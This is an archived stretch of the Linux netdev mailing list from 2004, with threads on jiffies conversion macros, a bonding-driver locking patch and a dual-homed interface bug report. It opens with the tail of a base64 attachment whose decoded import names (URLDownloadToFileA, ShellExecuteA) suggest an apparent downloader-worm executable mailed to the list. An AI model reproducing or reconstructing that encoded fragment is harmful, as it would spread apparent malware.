AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAaz4xNWskq1xaH7iM swV9WZi8lEa5cpSnTVlhEzm3LF49imYAmYZse7q+HWAobFAafp1IFogmjoqYGDVodAhfLWou gxliQ0ZpJpWlNF+TaYOjomaqlpMII1iGxcNbR6hsvC10NxFFba1UWqAnIb1QKUOKs3kRr0V8 SLRcvAXDmwWdGQh1GHmVH7PGvGx1GGIAnGm6VFMIAwy9DUQFHzV1SSgwMofGsQ1skh8YSVF0 cJIDnREjUzOQCA5yxXSfVJojbwxYI7UpTxc4U58weTgELweAM359xlKdhrYZhLJXhVRXH0Y2 U2ijVg4kHSWatCO5w5HAYiFNJxAzDzpQBXmYv49NMRwOBgtfF8cleb5lTh2nAzWIewepSVcM nrUZq227iVyPkywpp7AYo2cuokKbK3mQnGGCb2Rmji+EDUSuc1N2eallXbWgwrZ8AbZ2Vm5t v8YRrpG7xrvCR481tpWXwroySEhZwTFJFkagATFVqbBVGCcwPVSHLDmaG16GdpxHnCh7uUCW cViQP121f6m/LsWucJfGB38BqQe7pnW1pgQwv5VogbIHnTrFLJ9NinpCwkQBdCklRxcIfkCT rxE6v61RmBx/lB/CvMWvOpEFUIEfeBQTnESjCWo9QlxTsBKfsKkWVhhBC7tcYi2yiotur13H ajLDknBDxlqdt2MXxVS5AE+HXXysTWOowVQvV4Khiq6sVlkqQ0JZT3OmpjicBo9GOTxxr1Mx PD44h1eQcGdOiS5LZ66AYqLHM3mAgMBcw6gwmZbDbnU3a68KdKasWxcERFcYHlGATYVMZ3eu Z6SLj7aMn7xRix5QNJO4skxEmBlaonuIOxUpCQwdrG9sgYQAoHl8LBHDJgfCQL2BXlpiNHps KjMPNmM/uAQbir+ExkM0omdHCDITP71mGGBhcx1/UaCwqKSKXyFbBB2uNZ0EFqUTv38IHggw FLZHh3CwRlpqfKNqp75vMy13WsI4YoS+A7dhn0jERyl6YzAVZxNSFiIDY4hFt4QBmhs6AURi RhleXz+erIUsTDkBjACMPSsKdxYxL3SrCkY1XVPCOpIDtHFBEZtBGrqDNFEsPRteUqYoMhg6 SoE5Ri+TAKdvHgKSFlpjBHtwv5arAxSWGBpTdSqBtg9XQrYTmMB9iH+QdcJuuX6PI0uOEgwI S0MUCQSYO2lLFn42d2G2Xj09KI+2TWGDoG51HzBCUrkReW41kIu5bVkZeqykpT02dlm6npRV UmZ+azLFoButXMOwYWcwU26IuIEyb55MZ7wjjJ2yV4mfsnmIgpYcuQmOGxGItC92j8M7LChc qD0WpnEeg7ZlnqqmWRJawrEVFRfCgIt7aLsdxGifiWcbE0mDaHMuiqlkeByXUw1MnAwmQV2Z jEomtRlPukADxV2RH3Z4GVmcuqRxOI9LjogpbJOsIFKssREwWmBVoiJImHaafWKGPFq6TYud hia3IRqzMcaKEqSKMre5jaxDpFWUg3+MJK53FA== ----------cboachphcqzhvxfyfqzp-- From schwab@suse.de Wed May 12 15:40:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 15:40:51 -0700 (PDT) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CMeVKO018406 for ; Wed, 12 May 2004 15:40:32 -0700 Received: from hermes.suse.de (Hermes-ext.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id B981F59D1F6; Wed, 12 May 2004 23:55:47 +0200 (CEST) To: "J. Bruce Fields" Cc: Davide Libenzi , Ingo Molnar , Jeff Garzik , Greg KH , Andrew Morton , Linux Kernel Mailing List , Netdev Subject: Re: MSEC_TO_JIFFIES is messed up... References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <20040512200305.GA16078@elte.hu> <20040512213913.GA16658@fieldses.org> From: Andreas Schwab X-Yow: Where's th' DAFFY DUCK EXHIBIT?? Date: Wed, 12 May 2004 23:55:18 +0200 In-Reply-To: <20040512213913.GA16658@fieldses.org> (J. Bruce Fields's message of "Wed, 12 May 2004 17:39:13 -0400") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) Emacs/21.3.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4CMeVKO018406 X-archive-position: 5114 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: schwab@suse.de Precedence: bulk X-list: netdev "J. Bruce Fields" writes: > If gcc really optimizes that to just the identity function, then surely > that's a gcc bug? Multiplication is left-associative, so i * 1000 / > 1000 = (i * 1000) / 1000, but (i * 1000) should be zero for any i > divisible by i^(sizeof(int) - 12). Signed integer overflow is undefined in C, so the compiler is allowed to assume it does not happen. Andreas. -- Andreas Schwab, SuSE Labs, schwab@suse.de SuSE Linux AG, Maxfeldstraße 5, 90409 Nürnberg, Germany Key fingerprint = 58CA 54C7 6D53 942B 1756 01D3 44D5 214B 8276 4ED5 "And now for something completely different." From rugolsky@telemetry-investments.com Wed May 12 15:45:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 15:45:02 -0700 (PDT) Received: from ti41.telemetry-investments.com (209-166-240-202.cust.walrus.com [209.166.240.202]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CMixKO018990 for ; Wed, 12 May 2004 15:44:59 -0700 Received: from ti64.telemetry-investments.com (ti64 [192.168.8.64]) by ti41.telemetry-investments.com (Postfix) with ESMTP id 3ABBD10106; Wed, 12 May 2004 18:44:54 -0400 (EDT) Received: by ti64.telemetry-investments.com (Postfix, from userid 343) id 2BF5DFFB9; Wed, 12 May 2004 18:44:54 -0400 (EDT) Date: Wed, 12 May 2004 18:44:54 -0400 From: "Bill Rugolsky Jr." To: Jeff Garzik Cc: Greg KH , Andrew Morton , mingo@elte.hu, linux-kernel@vger.kernel.org, Netdev , Sridhar Samudrala , davem@redhat.com, George Anzinger Subject: Re: MSEC_TO_JIFFIES is messed up... Message-ID: <20040512224454.GJ21953@ti64.telemetry-investments.com> Reply-To: "Bill Rugolsky Jr." Mail-Followup-To: "Bill Rugolsky Jr." , Jeff Garzik , Greg KH , Andrew Morton , mingo@elte.hu, linux-kernel@vger.kernel.org, Netdev , Sridhar Samudrala , davem@redhat.com, George Anzinger References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512205407.GD25515@ti64.telemetry-investments.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040512205407.GD25515@ti64.telemetry-investments.com> User-Agent: Mutt/1.4.1i X-archive-position: 5115 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brugolsky@telemetry-investments.com Precedence: bulk X-list: netdev On Wed, May 12, 2004 at 04:54:07PM -0400, Bill Rugolsky Jr. wrote: > The attached patch combines Sridhar's consolidation patch with my > more accurate routines in the spirit of the rest of time.h. It is against > 2.6.6-rc3-bk3. Feedback welcome. I'm happy to rediff against latest kernel, > I just haven't had time the last few days. Sorry to reply to myself, but please ignore the patch that I sent; upon reflection, the 64-bit logic is (still) wrong. Bill Rugolsky From peterw@aurema.com Wed May 12 16:36:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 16:37:11 -0700 (PDT) Received: from smtp.sw.oz.au (IDENT:FWUSER@alt.aurema.com [203.217.18.57]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CNaaKO024034 for ; Wed, 12 May 2004 16:36:37 -0700 Received: from aurema.com (swag.sw.oz.au [192.41.203.35]) by smtp.sw.oz.au with ESMTP id i4CNXmMg017064; Thu, 13 May 2004 09:33:48 +1000 (EST) Message-ID: <40A2B45C.7070206@aurema.com> Date: Thu, 13 May 2004 09:33:48 +1000 From: Peter Williams Organization: Aurema Pty Ltd User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Davide Libenzi CC: Valdis.Kletnieks@vt.edu, Andrew Morton , Netdev , Greg KH , Ingo Molnar , Jeff Garzik , linux-kernel@vger.kernel.org Subject: Re: MSEC_TO_JIFFIES is messed up... References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <200405121947.i4CJlJm5029666@turing-police.cc.vt.edu> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.42 X-archive-position: 5116 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: peterw@aurema.com Precedence: bulk X-list: netdev Davide Libenzi wrote: > On Wed, 12 May 2004 Valdis.Kletnieks@vt.edu wrote: > > >>On Wed, 12 May 2004 21:33:49 +0200, Ingo Molnar said: >> >>>* Jeff Garzik wrote: >>> >>> >>>>>Woah, that's new. And wrong. The code in include/asm-i386/param.h that >>>>>says: >>>>> # define JIFFIES_TO_MSEC(x) (x) >>>>> # define MSEC_TO_JIFFIES(x) (x) >>>>> >>>>>Is not correct. Look at kernel/sched.c for verification of this :) >>>> >>>> >>>>Yes, that is _massively_ broken. >>> >>>why is it wrong? >> >>If the kernel jiffie is anything other than exactly 1 msec, you're screwed... > > > I believe they were talking about include/asm-i386/param.h > ^^^^^^^^ There's sometimes a need to change HZ on i386 systems. Specifically, some IDE drives are unable to safely use DMA (this is documented in one of the Kconfig files). Without DMA for the IDE drives many systems experience (a lot of) missed interrupts which can lead to (among other things) lost ticks and very erratic and unpredictable behaviour from input devices such as the mouse. Also, if defined in terms of HZ only one definition of these macros would be required rather than one for each architecture. Peter -- Dr Peter Williams, Chief Scientist peterw@aurema.com Aurema Pty Limited Tel:+61 2 9698 2322 PO Box 305, Strawberry Hills NSW 2012, Australia Fax:+61 2 9699 9174 79 Myrtle Street, Chippendale NSW 2008, Australia http://www.aurema.com From fubar@us.ibm.com Wed May 12 19:16:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 19:16:44 -0700 (PDT) Received: from e5.ny.us.ibm.com (e5.ny.us.ibm.com [32.97.182.105]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4D2GIKO028149 for ; Wed, 12 May 2004 19:16:25 -0700 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e5.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4D2GDYd330352 for ; Wed, 12 May 2004 22:16:13 -0400 Received: from death.nxdomain.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4D2Gkd2103104 for ; Wed, 12 May 2004 22:16:46 -0400 Received: from death.nxdomain.ibm.com (localhost [127.0.0.1]) by death.nxdomain.ibm.com (8.12.8/8.12.8) with ESMTP id i4D2FXl7016746 for ; Wed, 12 May 2004 19:15:33 -0700 Received: from death (fubar@localhost) by death.nxdomain.ibm.com (8.12.8/8.12.8/Submit) with ESMTP id i4D2FX52016740 for ; Wed, 12 May 2004 19:15:33 -0700 Message-Id: <200405130215.i4D2FX52016740@death.nxdomain.ibm.com> To: netdev@oss.sgi.com Subject: PATCH: bonding might sleep with lock held X-Mailer: MH-E 7.4.3; nmh 1.0.4; GNU Emacs 21.3.1 Date: Wed, 12 May 2004 19:15:33 -0700 From: Jay Vosburgh X-archive-position: 5117 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: fubar@us.ibm.com Precedence: bulk X-list: netdev In 802.3ad mode, the bond_close() function will eventually call dev_remove_pack() with a lock held. In turn, dev_remove_pack() calls synchronize_net() which eventually might sleep in wait_for_completion(). Probably not good. This patch replaces dev_remove_pack() with __dev_remove_pack() and adds a synchronize_net() call outside the lock. The patch is against 2.6.5, but applied to 2.6.6 for me. -J --- -Jay Vosburgh, IBM Linux Technology Center, fubar@us.ibm.com diff -urN linux-2.6.5-virgin/drivers/net/bonding/bond_main.c linux-2.6.5/drivers/net/bonding/bond_main.c --- linux-2.6.5-virgin/drivers/net/bonding/bond_main.c 2004-05-11 17:33:50.977235256 -0700 +++ linux-2.6.5/drivers/net/bonding/bond_main.c 2004-05-11 17:35:42.538275400 -0700 @@ -3495,7 +3495,7 @@ /* unregister to receive lacpdus on a bond */ static void bond_unregister_lacpdu(struct bonding *bond) { - dev_remove_pack(&(BOND_AD_INFO(bond).ad_pkt_type)); + __dev_remove_pack(&(BOND_AD_INFO(bond).ad_pkt_type)); } /*-------------------------- Device entry points ----------------------------*/ @@ -3580,6 +3580,12 @@ write_unlock_bh(&bond->lock); + /* + * Sync outside the lock after __dev_remove_pack() in + * bond_unregister_lacpdu() + */ + synchronize_net(); + /* del_timer_sync must run without holding the bond->lock * because a running timer might be trying to hold it too */ From ak@suse.de Thu May 13 01:57:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 13 May 2004 01:57:11 -0700 (PDT) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4D8upKO010472 for ; Thu, 13 May 2004 01:56:52 -0700 Received: from hermes.suse.de (Hermes-ext.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id A71DA596090; Thu, 13 May 2004 10:20:55 +0200 (CEST) Date: Thu, 13 May 2004 10:20:53 +0200 From: Andi Kleen To: Jay Vosburgh Cc: netdev@oss.sgi.com Subject: Re: PATCH: bonding might sleep with lock held Message-ID: <20040513082053.GC27682@wotan.suse.de> References: <200405130215.i4D2FX52016740@death.nxdomain.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200405130215.i4D2FX52016740@death.nxdomain.ibm.com> X-archive-position: 5118 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Wed, May 12, 2004 at 07:15:33PM -0700, Jay Vosburgh wrote: > > In 802.3ad mode, the bond_close() function will eventually call > dev_remove_pack() with a lock held. In turn, dev_remove_pack() calls > synchronize_net() which eventually might sleep in wait_for_completion(). > Probably not good. > > This patch replaces dev_remove_pack() with __dev_remove_pack() > and adds a synchronize_net() call outside the lock. The patch is > against 2.6.5, but applied to 2.6.6 for me. I would rather fix bond_close to not call this with the lock hold. You can just move the call a few lines up. dev->close has own synchronization anyways and dev_remove_pack has a lock too, so this should be safe. Patch to do that appeneded. -Andi diff -u linux/drivers/net/bonding/bond_main.c-o linux/drivers/net/bonding/bond_main.c --- linux/drivers/net/bonding/bond_main.c-o 1970-01-01 01:12:51.000000000 +0100 +++ linux/drivers/net/bonding/bond_main.c 2004-05-13 10:20:06.000000000 +0200 @@ -3566,15 +3566,15 @@ { struct bonding *bond = bond_dev->priv; - write_lock_bh(&bond->lock); - - bond_mc_list_destroy(bond); - if (bond->params.mode == BOND_MODE_8023AD) { /* Unregister the receive of LACPDUs */ bond_unregister_lacpdu(bond); } + write_lock_bh(&bond->lock); + + bond_mc_list_destroy(bond); + /* signal timers not to re-arm */ bond->kill_timers = 1; From snortwiz@hotmail.com Thu May 13 10:21:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 13 May 2004 10:22:30 -0700 (PDT) Received: from hotmail.com (bay15-f23.bay15.hotmail.com [65.54.185.23]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4DHLmKO000571 for ; Thu, 13 May 2004 10:21:49 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 13 May 2004 10:16:18 -0700 Received: from 207.108.40.31 by by15fd.bay15.hotmail.msn.com with HTTP; Thu, 13 May 2004 17:16:18 GMT X-Originating-IP: [207.108.40.31] X-Originating-Email: [snortwiz@hotmail.com] X-Sender: snortwiz@hotmail.com From: "J. M." To: jan@ixiacom.com, netdev@oss.sgi.com Cc: niv@us.ibm.com Subject: RE: OSDL Bugzilla #2399: A user can remotely route a packet through eth0 on a Li Date: Thu, 13 May 2004 12:16:18 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 13 May 2004 17:16:18.0302 (UTC) FILETIME=[010AB1E0:01C4390E] X-archive-position: 5120 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: snortwiz@hotmail.com Precedence: bulk X-list: netdev Applicable snip of netstat -lnp output: Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 10.10.10.10:22 0.0.0.0:* LISTEN 2836/sshd No, ip_forward probably doesn't apply, but this is my first bug post so I figured I'd better include anything remotely possible :) -Jared >From: Jan Olderdissen >To: netdev@oss.sgi.com >CC: snortwiz@hotmail.com, 'Nivedita Singhvi' >Subject: RE: OSDL Bugzilla #2399: A user can remotely route a packet >through eth0 on a Linux machine >Date: Tue, 11 May 2004 11:44:42 -0700 >MIME-Version: 1.0 >Received: from racerx.ixiacom.com ([64.60.75.69]) by mc8-f42.hotmail.com >with Microsoft SMTPSVC(5.0.2195.6824); Tue, 11 May 2004 11:45:06 -0700 >Received: by racerx.ixiacom.com with Internet Mail Service (5.5.2657.72)id >; Tue, 11 May 2004 11:44:43 -0700 >X-Message-Info: 6sSXyD95QpVUIaPMW1t2diBZvRcT4xCR >Message-ID: <15FDCE057B48784C80836803AE3598D50627ACCF@racerx.ixiacom.com> >X-Mailer: Internet Mail Service (5.5.2657.72) >Return-Path: jan@ixiacom.com >X-OriginalArrivalTime: 11 May 2004 18:45:08.0007 (UTC) >FILETIME=[14F7A370:01C43788] > >Jared, > >I can't shake the feeling that the service didn't actually bind to eth1, >but >instead bound to INADDR_ANY. You can find out with 'netstat -lnp'. Would >you >mind posting the output? > > > A 'cat' or > > /proc/sys/net/ipv4/ip_forward > > on the Linux laptop was "0" so ip forwarding was not enabled. > >I don't think the ip_forward flag applies here. > >Jan _________________________________________________________________ Check out the coupons and bargains on MSN Offers! http://youroffers.msn.com From snortwiz@hotmail.com Thu May 13 10:22:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 13 May 2004 10:22:14 -0700 (PDT) Received: from hotmail.com (bay15-f30.bay15.hotmail.com [65.54.185.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4DHM6KO000614 for ; Thu, 13 May 2004 10:22:08 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 13 May 2004 10:18:26 -0700 Received: from 207.108.40.31 by by15fd.bay15.hotmail.msn.com with HTTP; Thu, 13 May 2004 17:18:25 GMT X-Originating-IP: [207.108.40.31] X-Originating-Email: [snortwiz@hotmail.com] X-Sender: snortwiz@hotmail.com From: "J. M." To: dlstevens@us.ibm.com, niv@us.ibm.com Cc: netdev@oss.sgi.com Subject: Re: OSDL Bugzilla #2399: A user can remotely route a packet through eth0 on a Li Date: Thu, 13 May 2004 12:18:25 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 13 May 2004 17:18:26.0003 (UTC) FILETIME=[4D285230:01C4390E] X-archive-position: 5119 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: snortwiz@hotmail.com Precedence: bulk X-list: netdev It seems that design is flawed from a security perspective. Granted dual-homed machines are not the ideal model for security, but I still shouldn't be able to access an interface on a different network just because it's connected to the same physical box as an interface I can reach. -Jared >From: David Stevens >To: niv@us.ibm.com >CC: netdev@oss.sgi.com, snortwiz@hotmail.com >Subject: Re: OSDL Bugzilla #2399: A user can remotely route a packet >through eth0 on a Linux machine >Date: Tue, 11 May 2004 12:53:46 -0600 >MIME-Version: 1.0 >Received: from e33.co.us.ibm.com ([32.97.110.131]) by mc1-f25.hotmail.com >with Microsoft SMTPSVC(5.0.2195.6824); Tue, 11 May 2004 11:55:13 -0700 >Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com >[9.17.195.11])by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id >i4BIro87448576;Tue, 11 May 2004 14:53:50 -0400 >Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com >[9.17.195.168])by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with >ESMTP id i4BIrnMV366996;Tue, 11 May 2004 12:53:49 -0600 >X-Message-Info: JGTYoYF78jEQFFy/ZNDuigEHjOC6Zg85 >In-Reply-To: <40A11644.7090402@us.ibm.com> >X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 >Message-ID: > >X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF168 >| December 5, 2003) at 05/11/2004 12:53:49,Serialize complete at 05/11/2004 >12:53:49 >Return-Path: dlstevens@us.ibm.com >X-OriginalArrivalTime: 11 May 2004 18:55:16.0369 (UTC) >FILETIME=[7F945010:01C43789] > >Routing is something done between different hosts. Hosts normally >will accept packets for any local address, regardless of >which interface it was received on. > >That's not a bug; that's how almost everything works. > > +-DLS > _________________________________________________________________ FREE pop-up blocking with the new MSN Toolbar – get it now! http://toolbar.msn.com/go/onm00200415ave/direct/01/ From snortwiz@hotmail.com Thu May 13 10:24:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 13 May 2004 10:24:47 -0700 (PDT) Received: from hotmail.com (bay15-f5.bay15.hotmail.com [65.54.185.5]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4DHObKO001238 for ; Thu, 13 May 2004 10:24:37 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 13 May 2004 10:20:35 -0700 Received: from 207.108.40.31 by by15fd.bay15.hotmail.msn.com with HTTP; Thu, 13 May 2004 17:20:34 GMT X-Originating-IP: [207.108.40.31] X-Originating-Email: [snortwiz@hotmail.com] X-Sender: snortwiz@hotmail.com From: "J. M." To: niv@us.ibm.com, dlstevens@us.ibm.com Cc: netdev@oss.sgi.com Subject: Re: OSDL Bugzilla #2399: A user can remotely route a packet through eth0 on a Li Date: Thu, 13 May 2004 12:20:34 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 13 May 2004 17:20:35.0127 (UTC) FILETIME=[9A1F1470:01C4390E] X-archive-position: 5121 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: snortwiz@hotmail.com Precedence: bulk X-list: netdev That's exactly what's happening - a service bound to an interface is receiving traffic via a different interface. That could pose security risks on a dual-homed machine (such as the device I pen-tested and discovered this flaw upon). -Jared >From: Nivedita Singhvi >To: David Stevens >CC: netdev@oss.sgi.com, snortwiz@hotmail.com >Subject: Re: OSDL Bugzilla #2399: A user can remotely route a packet >through eth0 on a Linux machine >Date: Tue, 11 May 2004 12:15:18 -0700 >MIME-Version: 1.0 >Received: from e32.co.us.ibm.com ([32.97.110.130]) by mc1-f18.hotmail.com >with Microsoft SMTPSVC(5.0.2195.6824); Tue, 11 May 2004 12:17:37 -0700 >Received: from westrelay03.boulder.ibm.com (westrelay03.boulder.ibm.com >[9.17.195.12])by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id >i4BJGFBM740870;Tue, 11 May 2004 15:16:15 -0400 >Received: from us.ibm.com ([9.17.193.83])by westrelay03.boulder.ibm.com >(8.12.10/NCO/VER6.6) with ESMTP id i4BJGExf487372;Tue, 11 May 2004 13:16:15 >-0600 >X-Message-Info: JGTYoYF78jGRp3Vwe57C6WslWKHyO49+ >Message-ID: <40A12646.7080605@us.ibm.com> >User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) >Gecko/20030225 >X-Accept-Language: en-us, en >References: > >In-Reply-To: > >Return-Path: niv@us.ibm.com >X-OriginalArrivalTime: 11 May 2004 19:17:40.0399 (UTC) >FILETIME=[A0AF03F0:01C4378C] > >David Stevens wrote: >>Routing is something done between different hosts. Hosts normally >>will accept packets for any local address, regardless of >>which interface it was received on. >> >>That's not a bug; that's how almost everything works. > >I think the only issue here is if an application that >binds to an interface should see packets coming in >from another - if that is what is happening here?. > >thanks, >Nivedita > > > _________________________________________________________________ MSN Toolbar provides one-click access to Hotmail from any Web page – FREE download! http://toolbar.msn.com/go/onm00200413ave/direct/01/ From shemminger@osdl.org Thu May 13 10:32:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 13 May 2004 10:32:15 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4DHW1KO001780 for ; Thu, 13 May 2004 10:32:03 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4DHVeJ08214; Thu, 13 May 2004 10:31:40 -0700 Date: Thu, 13 May 2004 10:31:39 -0700 From: Stephen Hemminger To: "J. M." Cc: niv@us.ibm.com, dlstevens@us.ibm.com, netdev@oss.sgi.com Subject: Re: OSDL Bugzilla #2399: A user can remotely route a packet through eth0 on a Li Message-Id: <20040513103139.08ebc779@dell_ss3.pdx.osdl.net> In-Reply-To: References: Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.10claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5122 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On Thu, 13 May 2004 12:20:34 -0500 "J. M." wrote: > That's exactly what's happening - a service bound to an interface is > receiving traffic via a different interface. That could pose security risks > on a dual-homed machine (such as the device I pen-tested and discovered this > flaw upon). > > -Jared On Linux, IP addresses are not bound to interfaces. You need to use SO_BINDTODEVICE if that is what you want. The security model is correct, and well defined, just different than BSD derived systems. It does conform to the standards (RFC's). From paul@wagland.net Thu May 13 10:38:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 13 May 2004 10:39:10 -0700 (PDT) Received: from smtp-out6.xs4all.nl (smtp-out6.xs4all.nl [194.109.24.7]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4DHclKO002187 for ; Thu, 13 May 2004 10:38:48 -0700 Received: from umlsmtp.wagland.net (kungfucoder.org [80.126.186.202]) by smtp-out6.xs4all.nl (8.12.10/8.12.10) with ESMTP id i4DHcHew057722; Thu, 13 May 2004 19:38:17 +0200 (CEST) Received: from [10.87.98.190] (unknown [10.87.98.190]) by umlsmtp.wagland.net (Postfix) with ESMTP id CF991CD; Thu, 13 May 2004 19:38:15 +0200 (CEST) In-Reply-To: <20040512221823.GK1397@holomorphy.com> References: <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <200405121947.i4CJlJm5029666@turing-police.cc.vt.edu> <200405122007.i4CK7GPQ020444@turing-police.cc.vt.edu> <20040512202807.GA16849@elte.hu> <20040512203500.GA17999@elte.hu> <20040512205028.GA18806@elte.hu> <20040512140729.476ace9e.akpm@osdl.org> <20040512211748.GB20800@elte.hu> <20040512221823.GK1397@holomorphy.com> Mime-Version: 1.0 